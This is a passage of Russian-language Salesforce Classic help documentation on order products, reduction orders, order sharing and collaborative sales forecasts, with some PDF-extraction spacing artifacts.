ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
продукта заказа в черновом
заказе или черновом
сокращенном заказе:
• «Редактирование» для

продуктов заказа

Для удаления продукта
заказа в черновом заказе или
черновом сокращенном
заказе:
• «Удаление» для

продуктов заказа

Для редактирования
продуктов заказа в
активированном заказе или
активированном
сокращенном заказе:
• «Редактирование

активированных
заказов»

Приактивацииилисокращенииродительскогозаказаприменяютсяразныеограничения
по редактированию или удалению продуктов заказа.

• Продукты не могут быть удалены после активации заказа или сокращенного заказа.
Тем не менее, поля текущего продукта заказа могут быть изменены.

• Продукт заказа не может быть изменен или удален после сокращения.

СМ. ТАКЖЕ:

Добавление продуктов в заказ

Добавление продуктов в сокращенный заказ

Общие сведения о продуктах заказа

Общие сведения о сокращенных заказах
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Общие сведения о сокращенных заказах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать сокращенные заказы для отслеживания запросов на
сокращение, возврат, деактивациюилиотключениепродуктовилиуслуг дляотдельного
клиента.

Сокращенныйзаказ — этосоглашениемеждукомпаниейиклиентомнаобработкувозвратов
продуктов, удаление услуг или сокращение предоставленных услуг. Например,
сокращенный заказ может использоваться для отслеживания запроса на отмену заказа,
созданного клиентом для приобретения 30 позиций.

Каждому заказу может соответствовать несколько сокращенных заказов, но каждому
сокращенному заказу может соответствовать только один заказ. Например, чтобы
сократить продукты заказа, приобретенные одной организацией посредством трех
активированных заказов, рекомендуем создать три сокращенных заказа (по одному для
каждого исходного заказа).

СМ. ТАКЖЕ:

Сокращение заказов

Ограничения по активации заказов и сокращенных заказов

Ограничения по редактированию и удалению заказов и сокращенных заказов

Поля заказов

Сокращение заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для сокращения заказа:
• «Создание сокращенных

заказов»

Есликомпанияпозволяет возвращатьилисокращать активированныезаказы, тообмены
продуктов или услуг могут выполняться путем сокращения соответствующих заказов.

Сокращение доступно только для активированных заказов.

Сокращенный заказ может быть применен только к одному заказу. Чтобы сократить
количество продуктов в нескольких заказах, рекомендуем создать сокращенный заказ
для каждого исходного заказа.

1. Откройте страницу сведений о нужном заказе.

2. Чтобы создать сокращенный заказ, нажмите кнопку «Сократить заказ».

3. Введите соответствующие сведения о сокращенном заказе и нажмите кнопку
«Сохранить».

4. Добавьте продукты для определения продуктов исходного заказа, подлежащих
сокращению.

СМ. ТАКЖЕ:

Добавление продуктов в сокращенный заказ

Ограничения по активации заказов и сокращенных заказов

Обновление заказов

Поля заказов

Поля продуктов заказа
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Добавление продуктов в сокращенный заказ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления продуктов
заказа в сокращенный заказ:
• «Редактирование» для

заказов

После создания сокращенного заказа рекомендуем выбрать продукты, подлежащие
сокращению, а также указать нужные количества.

Прим.:

• Сокращениеможетбытьпримененотолькокпродукту заказа, поле «Доступное
количество» которого содержит положительное значение. Количество
сокращенного продукта не может быть отрицательным.

• Каждый сокращенный заказ позволяет сокращать не более 200 продуктов.

1. Откройтенужныйсокращенныйзаказилисоздайтеновыйсокращенныйзаказпутем
сокращения текущего заказа.

2. Нажмите кнопку «Выбрать продукты для сокращения» в связанном списке
«Продукты заказа».

3. Введите нужное количество единиц в столбец «Количество для сокращения».

• Чтобысократитьпродукт заказаполностью, заполните столбец «Количестводля
сокращения» значением поля «Доступное количество».

• Чтобы отменить сокращение продукта, пропустите столбец «Количество для
сокращения».

Например, чтобы сократить исходный заказ, содержащий 3 000 единиц, до 2 000,
введите значение «1 000».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о сокращенных заказах

Общие сведения о продуктах заказа

Ограничения по редактированию и удалению продуктов заказа

Предоставление общего доступа к заказам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Стандартнаямодельобщегодоступавсейорганизацииопределяется администратором.
Принеобходимостистандартныйуровеньобщегодоступа, заданныйадминистратором,
можетбытьрасширен. Модельобщегодоступаопределяет самыйстрогий стандартный
уровень, который может быть только расширен.

Для просмотра и управления сведениями об общем доступе нажмите кнопку «Общий
доступ»настраницесведенийозаказе. Страница «Сведенияобобщемдоступе» содержит
список пользователей, групп, ролей и территорий, имеющих общий доступ к заказу.
Кнопка «Общийдоступ» недоступна, еслиединомустандартномупараметрудля заказов
заданозначение «Контролируетсяродительскимобъектом». Нижеперечисленыдействия,
доступные на данной странице.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку «Создать новое представление» для
разработкисобственныхнастраиваемыхпредставлений.Чтобыизменитьилиудалитьлюбоесозданноепредставление,
выберите его в раскрывающемся списке «Просмотр» ищелкните ссылку «Правка».
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• Чтобы предоставить другим пользователям, группам, ролям или территориям доступ к записи, нажмите кнопку
«Добавить».

Прим.: Общий доступ к заказу может быть предоставлен только пользователю с полномочием «Чтение» для
заказов.

• Чтобы просмотреть всех пользователей, имеющих доступ к записи, нажмите кнопку «Развернуть список».

• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или «Удал.» напротив нужного элемента
списка при использовании созданных правил общего доступа, предоставляемого вручную.

Прогнозирование продаж

Прогнозирование и планирование циклов продаж посредством совместных
прогнозов

Общие сведения о совместных прогнозах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система позволяет предварительно оценивать доходы и количества для ожидаемых
продажот возможности, а такжепринеобходимостидобавлять группыпродуктов, доли
возможности и настраиваемые поля валюты возможности.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Продукт «Совместные прогнозы» позволяет предварительно оценивать и планировать
весь цикл продаж — от потенциальных до закрытых сделок, а также управлять
ожидаемыми объемами продаж организации. Прогноз — это форма представления
ожидаемых доходов от продаж на основе общей сводки по группе возможностей.
Стоимости прогнозов, отображаемые на вкладке «Прогнозы», — это итоговые и
промежуточные суммы возможностей в четырех категориях прогноза («Ожидаемые
продажи», «Благоприятный прогноз», «Обязательство» и «Закрыто»). В зависимости от
того, как администраторнастроиторганизацию, эти суммымогутотражать возможности
по одной или нескольким категориям прогноза. На вкладке «Прогнозы» пользователи

могут провести по рядом с именами столбцов, чтобы увидеть, какие категории
прогнозов проходят по общим в каждом столбце. Страница прогнозов содержит сводную таблицу, позволяющую
группировать стоимости прогнозов по сводке прогноза, периоду или группе продуктов (дополнительно). Прогнозы
могут содержать поправки, внесенные менеджерами прогнозов в прогнозы непосредственных подчиненных, а также
поправки, внесенные пользователями прогнозов в стоимости собственных прогнозов.

Администратор организации может одновременно включать не более 4 разных типов прогнозов. Например, прогнозы
могут составляться на основе дохода по возможностямилина основе количества по группампродуктов. Чтобыизменить
тип прогноза, щелкните имя прогноза и выберите другой прогноз из раскрывающегося меню. Каждый тип прогноза
хранит собственные отдельные планы продаж и поправки.

Пользователи могут просматривать стоимости прогнозов и связанные возможности по сводке прогноза для отдельного
пользователяиливсехподчиненныхвиерархиипрогнозов. Например, пользовательможетпросмотретьблагоприятный
прогноз на июль для всех подчиненныхменеджеров по продажам, всех торговых представителей, подчиняющихся этим
менеджерам, или только для отдельного сотрудника. Кроме того, пользователи могут корректировать собственные
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прогнозы и прогнозы непосредственных подчиненных. Удобный пользовательский интерфейс позволяет быстро
передавать статусные вызовы участникам группы, работающей с возможностями.

Продукт «Совместные прогнозы» предназначен для выполнения самых разных задач.

• Выбор и просмотр прогнозов посредством интерактивной масштабируемой таблицы.

• Просмотр резюме прогноза за один или несколько месяцев или кварталов для каждой сводки прогноза.

• Просмотр резюме прогнозов для каждой группы продуктов (при использовании групп продуктов).

• Просмотр процентов и стоимостей долей для каждого прогноза (при использовании долей возможности).

• Просмотрииспользованиеспискавозможностей, связанныхскаждойвыбраннойстоимостьюпрогноза. Использование
данного списка для прямого доступа к сведениям о возможностях.

• Чтобы оптимизировать просмотр данных, щелкните границу столбца и измените его ширину.

• Внесение поправок и просмотр сведений о поправках (например, исходная стоимость прогноза и автор поправки).
Если в вашей организации используются разные типы прогнозов, то каждый тип прогноза сохраняет собственные
отдельные поправки.

• Удобное перемещение менеджера прогнозов по иерархии прогнозов.

• Просмотр прогнозов на основе дохода или количества.

• Просмотр прогнозов в разных валютах.

• Просмотрданныхпланапродаж, доступныхнастраницепрогнозовкаждогопользователя. Еслиорганизацияиспользует
разные типы прогнозов, то каждый тип прогноза сохраняет собственные отдельные планы продаж.

• Использование отчетов по совместным прогнозам.

• Добавление возможностей пользователей партнерского портала в прогнозы.

СМ. ТАКЖЕ:

Общие сведения об элементах прогноза

Рекомендации по настройке функции «Совместные прогнозы»

Чем отличаются версии прогнозирования?

Факты, свидетельствующие в пользу миграции от настраиваемого прогнозирования
к «совместным прогнозам»

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра настройки прогнозов:

«Настройка приложения»Для редактирования параметров прогнозов:

«Управление внутренними пользователями»

И

Для включения поддержки прогнозов:

«Настройка приложения»

«Настройка приложения»

И

Для управления планами продаж:

«Управление планами продаж»
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«Управление планами продаж»

И

Для загрузки данных плана продаж в систему Salesforce:

«Просмотр всех прогнозов»

Рассмотрите ключевые моменты перед тем, как принять решение о миграции от настраиваемого прогнозирования к
«совместным прогнозам».

Продукт «Совместные прогнозы» поддерживает многие функции продукта «Настраиваемое прогнозирование».При
переходе от настраиваемых прогнозов к совместным прогнозам следует помнить о следующем.

• Чтобы включить продукт «Совместные прогнозы», рекомендуем отключить функцию «Настраиваемое
прогнозирование». Чтобыотключитьфункциюнастраиваемогопрогнозирования, обратитесь в компанию Salesforce.

• Отключениефункции настраиваемого прогнозирования инициирует сокрытие связанного списка «Планы продаж»
для записей объекта «Пользователь» и полномочия «Редактирование личного плана продаж» (API-имя —
PermissionsEditOwnQuota) в объекте «Профиль».

• Еслиувас включенапервоначальнаяфункцияуправлениятерриториями, отключитенастраиваемоепрогнозирование
и первоначальнуюфункцию управления территориями перед переходом на совместное прогнозирование. Чтобы
выключить данные функции, обратитесь в компанию Salesforce. Корпоративную версиюфункции управления
территориямиисовместныепрогнозыможновключитьииспользоватьодновременно, однакомеждунимиотсутствует
интеграция.

• Историяпрогнозов, переопределения, отчетыиобщедоступныеданные, использованныевфункциинастраиваемого
прогнозирования, подлежат удалению.

• Прежде чем включить продукт «Совместныепрогнозы», рекомендуем экспортировать данные отчетов попрогнозам.

• Поумолчаниюпродукт «Совместныепрогнозы»использует ежемесячныепрогнозыиподдерживает ежеквартальные
прогнозы. Если вы будете настраивать параметрыфинансового года, вашфинансовый период имеет значение по
умолчанию. Также можно использовать настраиваемые кварталы.

• Иерархияпрогнозовсохраняется. Чтобыминимизироватьвероятностьпотериданных, продукт «Совместныепрогнозы»
должен быть включен сразу после отключения функции «Настраиваемые прогнозы». Ввиду сохранения иерархии,
пользователи, перешедшиенапродукт «Прогнозы», недолжныповторноактивироваться. Темнеменее, рекомендуем
проверить все иерархии на предмет достоверности перенесенных данных.

Прежде чем выполнить переход, просмотрите раздел «Чем отличаются версии прогнозирования?», позволяющий
определить преимущества, которые будут доступны после активации продукта «Совместные прогнозы».

СМ. ТАКЖЕ:

Чем отличаются версии прогнозирования?
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Общие сведения об элементах прогноза

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный раздел содержит сведения об элементах прогнозов.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Функция «Совместные прогнозы» позволяет быстро находить и добавлять сведения о
прогнозах и возможностях. Данная таблица содержит основные элементы прогноза,
определяющие его содержимое.

ОпределениеПонятие

Уточненныесведения, которыемогутбыть
добавлены в стоимость прогноза.

Поправка содержит оценку менеджера
прогнозов или торгового представителя
относительно итоговой стоимости,
которая должна быть получена от

Поправка

прогнозируемых возможностей при
закрытии периода прогноза. Менеджеры
попрогнозаммогут захотетьизменитькак
собственный прогноз, так и прогноз
подчиненного. Например, если им
известно, что некоторые сотрудники
имеют тенденцию составлять слишком
оптимистичные, слишком
пессимистичные или даже слишком
консервативныепрогнозыприназначении
сумм возможностям. Принедооценке или
переоценке суммторговыепредставители
могут также корректировать собственные
прогнозы. Менеджеры прогнозов могут
корректировать прогнозы, содержащие
только общие стоимости возможностей,
а также прогнозы, которые уже
скорректированы другими участниками
группы, работающей с возможностями.
Поправки позволяют только добавлять
уточненные сведения, тогда как базовая
стоимость общей сводки не подлежит
изменению. Если в вашей организации
используются разные типы прогнозов, то
каждый тип прогноза сохраняет
собственные отдельные поправки.

Менеджеры прогнозов могут
корректировать собственные прогнозы и
прогнозы непосредственных
подчиненных, принадлежащиекатегориям
«Обязательство» и «Благоприятный
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ОпределениеПонятие

прогноз». Они могут просматривать поправки, внесенные
ихподчиненныминавсехнижестоящихуровняхиерархии
прогнозов. Поправки, внесенные в прогнозы их
подчиненных, отражаютсяна собственныхпрогнозах. При
необходимости добавьте примечание, уведомляющее
других пользователей о причине корректировки. Данные
примечания не отображаются отчетами.

Сумма всех собственных возможностей дохода
пользователя и возможностей его подчиненных (без

Стоимость без поправок

поправок). Подчиненные — это сотрудники,
расположенныенижепользователявиерархиипрогнозов.

Показатель прогноза, отображаемый ответственному за
прогноз. Показатель прогноза — это сумма возможностей

Стоимость без поправки менеджера

дохода ответственного и его подчиненных, включая
поправки, внесенные ответственным в собственные
прогнозы или прогнозы подчиненных. Данный показатель
не включает поправки, внесенные вышестоящими менеджерами
прогнозов в иерархии прогнозов.

Валюта, используемая головным офисом организации в
отчетахподоходам. Данная валютаиспользуется в качестве
основы всех преобразований валюты.

Валюта компании

Это форма представления ожидаемых доходов от продаж
на основе общей сводки по группе возможностей.

Прогноз

Стоимости прогнозов, отображаемые на вкладке
«Прогнозы», — это итоговые и промежуточные суммы
возможностейвчетырехкатегорияхпрогноза («Ожидаемые
продажи», «Благоприятный прогноз», «Обязательство» и
«Закрыто»). В зависимости от того, как администратор
настроит организацию, эти суммы могут отражать
возможности по одной или нескольким категориям
прогноза. На вкладке «Прогнозы» пользователи могут

провестипо рядомсименамистолбцов, чтобыувидеть,
какие категории прогнозов проходят по общим в каждом
столбце.

Страница прогнозов содержит сводную таблицу,
позволяющую группировать стоимости прогнозов по
сводке прогноза, периоду или группе продуктов
(дополнительно). Прогнозы могут содержать поправки,
внесенные менеджерами прогнозов в прогнозы
непосредственных подчиненных, а также поправки,
внесенные пользователями прогнозов в стоимости
собственных прогнозов.
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ОпределениеПонятие

С помощью этой таблицы прогнозы и связанные
возможности могут быть просмотрены по категории
прогноза как для отдельного пользователя, так и для всех
подчиненных в иерархии прогнозов. Например,
пользовательможетпросмотретьблагоприятныйпрогноз
на июль для всех подчиненных менеджеров по продажам,
всех торговых представителей, подчиняющихся этим
менеджерам, или только для отдельного сотрудника.

Прогноз по доходу из перспективы менеджера прогнозов
и сумма возможностейответственногои егоподчиненных,
включая все поправки прогноза.

Стоимость прогноза

Категория в цикле продаж, назначаемая возможности на
основе ее этапа. К стандартным категориям прогноза

Категория прогноза

относятся: «Ожидаемые продажи», «Благоприятный
прогноз», «Обязательство», «Пропущено» и «Закрыто». При
необходимостинастройтеимена категорийпрогнозов для
организации.

Валюта компании или личная валюта каждого
ответственного за прогноз.

Валюта прогноза

Валюта, выбранная пользователем для отображения
прогнозов. Данная валюта должна поддерживаться

Валюта отображения прогнозов

организацией и может быть выбрана прямо на странице
прогноза.

Вложенный расширяемый список пользователей
прогнозов. Данный список определяет способ сведения

Иерархия прогнозов

прогнозов в организации, а также пользователей, которым
доступен их просмотр и корректировка. Иерархия
прогнозов полностью основывается на иерархии ролей, а
такжеопределяетпользователей, являющихсяменеджерами
прогнозов. Если организация использует функцию
«Совместные прогнозы», то иерархия прогнозов
формируется автоматически на основе иерархии ролей;
тем не менее, пользователи могут добавлять и удалять
менеджеров, торговых представителей или других
сотрудников.

Пользователь прогнозов, который несет ответственность
за возможности или является менеджером прогнозов в

Ответственный за прогноз

иерархии прогнозов. Менеджеры прогнозов могут иметь
собственные возможности.

Прогноз по количеству из перспективы менеджера
прогнозов и сумма возможностей ответственного и его
подчиненных, включая все поправки прогноза.

Количество прогноза
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ОпределениеПонятие

Диапазон дат, используемыйдля отображенияпрогноза. В
зависимости от параметров организации, диапазон может
содержать месяцы или кварталы.

Диапазон прогноза

Прогноз, предназначенный для использования
определенного типа данных. Разрешается использовать

Тип прогноза

поле возможности «Стоимость», доли возможности, доли
наложения, настраиваемые поля возможности или группы
продуктов. Кроме того, каждому типу прогноза
соответствует собственное измерение: доход или
количество. Чтобы использовать оба измерения,
рекомендуем включить отдельный тип прогноза для
каждого измерения. Администраторы могут включать не
более 4 типов прогнозов в организации. Прогнозы по
количеству не поддерживают доли возможности и
прогнозы по настраиваемому полю возможности.

Прогнозы по количеству для возможностей сводятся на
основе поля возможности «Количество», а прогнозы по
доходу для возможностей сводятся на основе поля
возможности «Стоимость». Прогнозыподоходудлядолей
возможности сводятся на основе поля возможности
«Стоимость» и процента доли, назначенного торговому
представителю. Прогнозы по настраиваемому полю
возможности сводятся на основе настраиваемого поля
«Стоимость». Прогнозы по доходу для групп продуктов
сводятся на основе суммы поля «Итоговая цена» для всех
элементовстрокивозможностивданнойгруппепродуктов,
а прогнозыпо количеству для групппродуктов сводятся на
основе поля «Количество» для всех элементов строки
возможностивданнойгруппепродуктов. Еслиисточником
данных являются возможности без элементов строки или
с элементами строки, которые не содержат группы
продуктов, то итоговые значения сводятся в строке
«Категории продуктов не определены» на странице
«Прогнозы».

Это форма представления ожидаемых доходов от продаж
на основе общего значения по группе возможностей.

Общая сводка

Прогноз всегда содержитстоимостьобщейсводки, а также
может содержать как минимум одну поправку.

Возможности — это продажи и ожидаемые сделки
пользователя, подлежащие отслеживанию.

Возможность

Доливозможностипозволяютпользователямделитькредит
междуучастникамигруппы, работающейсвозможностями.

Доля возможности

При выборе источника данных «Доли возможности»
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ОпределениеПонятие

сведения о доли могут быть просмотрены на странице
прогноза.

Текущий этап возможности (например, «Потенциальный
клиент» или «Предложение»). Значенияэтапавозможности

Этап возможности

соотносятся со значениями категории прогноза, что
позволяет определить степень влияния возможности на
прогноз.

Сумма всех возможностей дохода пользователя (без
поправок).

Только стоимость ответственного

Сумма всех возможностей количества пользователя (без
поправок).

Только количество ответственного

Стандартная валюта пользователя для планов продаж,
некоторых версий прогнозирования и отчетов. Данная

Личная валюта

валюта должнаподдерживаться организацией. Стоимости
планов продаж отображаются в валюте отображения.

Группы продуктов позволяют выбирать категории
продуктов. Например, если компания продает аппаратное

Группа продуктов

и программное обеспечение, рекомендуем создать две
группы продуктов: «Аппаратное обеспечение» и
«Программное обеспечение».

Суммасобственныхвозможностейколичествапользователя
и возможностей его подчиненных (без поправок).

Количество без поправок

Подчиненные — это сотрудники, расположенные ниже
пользователя в иерархии прогнозов.

Показатель прогноза, отображаемый ответственному за
прогноз. Показатель прогноза — это сумма возможностей

Количество без поправок менеджера

количества ответственного и его подчиненных, включая
поправки, внесенные в прогнозы подчиненных. Данный
показатель не включает поправки, внесенные вышестоящими
менеджерами прогнозов в иерархии прогнозов.

Запланированныйпоказатель, назначаемыйпользователю
ежемесячно или ежеквартально. План продаж менеджера

План продаж

включает показатели, которые должны быть достигнуты
менеджером и его рабочей группой. Сведение планов
продаж выполняется пользователями и менеджерами
вручную и позволяет использовать данные о доходе или
количестве. Если организация использует разные типы
прогнозов, токаждыйтиппрогноза сохраняет собственные
отдельные планы продаж.

Общая ожидаемая сумма дохода от возможностей,
представленных в данной категории.

Доход
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ОпределениеПонятие

Таблица, расположенная в верхней части страницы
прогнозов. Параметры, выбранные в сводной таблице,

Сводная таблица

определяют содержимое списка «Возможности»,
расположенного в нижней части страницы прогнозов.

Пользователь функции «Совместные прогнозы»,
расположенный в иерархии прогнозов ниже текущего

Подчиненный

пользователя. Пользовательможетпросматриватьпрогнозы
всех своих подчиненных. Если в организации включена
поддержка поправок, то пользователь может не только
просматривать поправки всех своих подчиненных, но и
корректировать прогнозы тех подчиненных сотрудников,
которыерасположенывиерархиипрогнозовуровнемниже.
Стоимости прогнозов и поправки отражаются на
собственных прогнозах пользователя.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Общие сведения о вкладке «Прогнозы»

Общие сведения о вкладке «Прогнозы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Вкладка «Совместныепрогнозы»позволяетпросматриватьиобновлятьпрогнозы. Один
раздел страницы содержит сведения о прогнозе, а другой — связанные возможности.

Совет: Прииспользованиипродукта «Совместныепрогнозы»рекомендуемвыбрать
окно размером не менее 1 024 пикселов.

Ниже перечислены действия, доступные на данной странице.

Отображение выбранных значений
• Просмотрите или скройте данные плана продаж и выполнение плана продаж.

• Приналичиимультивалютнойподдержкиизменитевалютуотображенияпрогнозов.

• Еслиорганизацияиспользуетнесколькотиповпрогнозов, выберите типыпрогнозов
дляпросмотрапутемвыбораимениотображаемогопрогноза в верхнемправомуглу вкладки «Прогнозы» иизменения
типа прогноза посредством меню.

• Чтобы изменить индивидуальный диапазон дат прогноза, щелкните «Изменить».

• Чтобы обновить прогнозы, щелкните «Обновить».

• Чтобы просмотреть сведения о прогнозах прямых подчиненных для конкретного месяца, щелкните напротив
имени нужного месяца.
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• Чтобы просмотреть разделение группы продуктов для прогноза прямого подчиненного (при использовании типа
прогноза по группе продуктов), щелкните напротив имени нужного подчиненного.

• Чтобы отобразить параметры Chatter (например, «Отслеживать» или «Отправить сообщение»), наведите указатель
мыши на имя подчиненного и щелкните ссылку «Открыть чат» (если включена поддержка Chatter, а пользователь
является менеджером прогнозов).

• Чтобы скрыть сведения для конкретного месяца, щелкните напротив имени нужного месяца.

• Чтобы просмотреть прогноз подчиненного, наведите указатель мыши на нужную строку и щелкните «Сведения
>>».

• Чтобы просмотреть нижестоящих пользователей в иерархии прогнозов или перейти на нужный уровень иерархии,
щелкните ссылку «Перейти к...».

• Чтобыпросмотреть или скрыть строки прогноза со всеми нулевыми значениями, последовательно выберите пункты
«Параметры отображения» > «Показать строки со всеми нулевыми значениями».

Поправки
• Чтобыскорректироватьпрогнозподчиненного, наведите указательмышина стоимостьпрогнозаищелкните значок

. Если организация использует тип прогноза по группе продуктов, рекомендуем корректировать стоимости для
отдельной группы продуктов, но не итоговые данные подчиненного.

•
Чтобы просмотреть сведения о собственных поправках, наведите указатель мыши на стоимость со значком .

• Чтобы просмотреть сведения о поправках, внесенных подчиненными, наведите указатель мыши на стоимость со

значком .

Возможности
• Чтобы просмотреть возможности для пользователя, отдельного месяца или нескольких месяцев, щелкните метку

нужной строки (возможности отображаются в нижнем разделе страницы).

• Чтобы просмотреть возможности для отдельной категории или элемента прогноза, щелкните стоимость прогноза в
таблице.

• Чтобы скрыть раздел возможностей на странице «Совместные прогнозы», щелкните «Скрыть».

• Чтобы отобразить раздел возможностей на странице «Совместные прогнозы», щелкните «Показать».

• Чтобы настроить высоту раздела возможностей, наведите указатель мыши на разделительную линию.

• Чтобы отсортировать возможности, щелкните заголовок нужного столбца в разделе возможностей.

• Чтобы просмотреть сведения о возможности, щелкните имя нужной возможности.

• Чтобы изменить возможность, щелкните «Правка» в разделе возможностей.

• Чтобы просмотреть сведения об организации, связанной с возможностью, щелкните имя нужной организации в
разделе возможностей.

• Чтобы просмотреть профиль ответственного за возможность, щелкните имя нужного ответственного в разделе
возможностей.
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Прим.: Формат и объем информации, отображаемой в сводной таблице, могут препятствовать использованию
прогнозов посредством мобильных обозревателей.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Рекомендации по прогнозам

Общие сведения о ежемесячных и ежеквартальных прогнозах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Взависимостиотпараметровпериода, заданныхворганизациидляпродукта «Совместные
прогнозы», диапазоны прогнозов могут содержать месяцы или кварталы. Прогнозы
могут составляться по предстоящимилипрошедшим 12 месяцам или 8 кварталам. Если
в ваш прогнозируемый диапазон входит текущий месяц или квартал, на странице
прогнозов по умолчаниюотображается текущиймесяц или квартал. Если это не так, то
по умолчанию выбирается первый месяц или квартал прогнозируемого диапазона дат.
Независимоотиспользованияежемесячныхилиежеквартальныхпрогнозов, менеджеры
прогнозов могут использовать планы продаж и корректировать прогнозы своих
подчиненных. Периодыплановпродажипоправокопределяютсяпараметрамипериода.

СМ. ТАКЖЕ:

Изменение отображения диапазона дат для прогноза

Общие сведения о совместных прогнозах

Общие сведения о вкладке «Прогнозы»
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Изменение отображения диапазона дат для прогноза

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
прогнозов:
• «Разрешить

прогнозирование»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Взависимостиотпараметровфункции «Совместныепрогнозы», заданныхворганизации,
сводная таблицана странице «Совместныепрогнозы»отображает стоимостипрогнозов
для отдельных или нескольких периодов.После настройки функции «Совместные
прогнозы» администратором организации отображается стандартный диапазон дат.
Например, поумолчаниюдиапазонможет составлять триследующихмесяца. Прогнозы
пользователей могут содержать стандартный или настраиваемый диапазон дат. Чтобы
изменить диапазон дат, выполните указанные ниже действия.

1. Откройте вкладку «Прогнозы».

2. Щелкните «Изменить» в сводной таблице.

3. Чтобывыбратьначальныйиконечныйпериоды, воспользуйтесьраскрывающимися
списками в разделе «Диапазон прогноза».

4. Нажмите кнопку «Сохранить».

Пример: Выбранный диапазон относится к текущему месяцу или кварталу.
Например, в январеначальныммесяцемможетбыть выбран январь, а конечным —
апрель. Соответственно, диапазон дат, выбранный в феврале, будет длиться с
февраля по май и т. д. Выбранный диапазон дат сохраняется до тех пор, пока не
будет выбран другой диапазон.

СМ. ТАКЖЕ:

Общие сведения о ежемесячных и ежеквартальных прогнозах

Общие сведения о совместных прогнозах

Общие сведения о вкладке «Прогнозы»

Общие сведения об измерениях прогнозов по доходу и количеству

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прогнозымогут составлятьсянаосноведоходаиликоличества.Прогнозыпоколичеству
для возможностей сводятся на основе поля возможности «Количество», а прогнозы по
доходудлявозможностейсводятсянаосновеполявозможности «Стоимость». Прогнозы
по доходу для долей возможности сводятся на основе поля возможности «Стоимость»
ипроцентадоли, назначенноготорговомупредставителю. Прогнозыпонастраиваемому
полю возможности сводятся на основе настраиваемого поля «Стоимость». Прогнозы
по доходу для групп продуктов сводятся на основе суммы поля «Итоговая цена» для
всехэлементовстрокивозможностивданнойгруппепродуктов, апрогнозыпоколичеству
для групп продуктов сводятся на основе поля «Количество» для всех элементов строки
возможности в данной группе продуктов. Если источником данных являются
возможности без элементов строки или с элементами строки, которые не содержат
группы продуктов, то итоговые значения сводятся в строке «Категории продуктов не
определены» на странице «Прогнозы».
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Например:

• Менеджер по продажам может составлять прогнозы на основе дохода, так как вице-президент по продажам задает
стоимости плана продаж на основе доллара США.

• Торговыйпредставительможет составлятьпрогнозынаоснове количества, так какпремия выплачивается толькопри
продаже 10 000 единиц рекламного продукта.

Чтобыразрешитьпользователямсоставлениепрогнозовподоходуиколичествудляодногоисточникаданных (например,
«Возможности» или «Группы продуктов»), администратор может создать отдельные типы прогнозов, которые будут
доступны для переключения на вкладке «Прогнозы».

При необходимости настройте стоимости прогнозов в каждом данном прогнозе. Тем не менее, поправки, внесенные в
прогноз по доходу для возможностей, не отображаются в другом типе прогноза в качестве поправок. Поэтому при
внесении поправки в сумму соответствующую уровню прогноза коммерческой возможности со 100000 рублей до 90000
рублей, и последующим переключением к представлениюпрогноза, вы не увидите эквивалентное значение поправки в
прогнозеуровнякоммерческойвозможности. Поправка (90 000 рублей) отображаетсятолькопривосстановлениипрогноза
по доходу для возможностей.

СМ. ТАКЖЕ:

Переключение между прогнозами по доходу и прогнозами по количеству

Общие сведения о совместных прогнозах

Общие сведения о вкладке «Прогнозы»

Работа с мультивалютой в прогнозах

Переключение между прогнозами по доходу и прогнозами по количеству

ВЕРСИИ

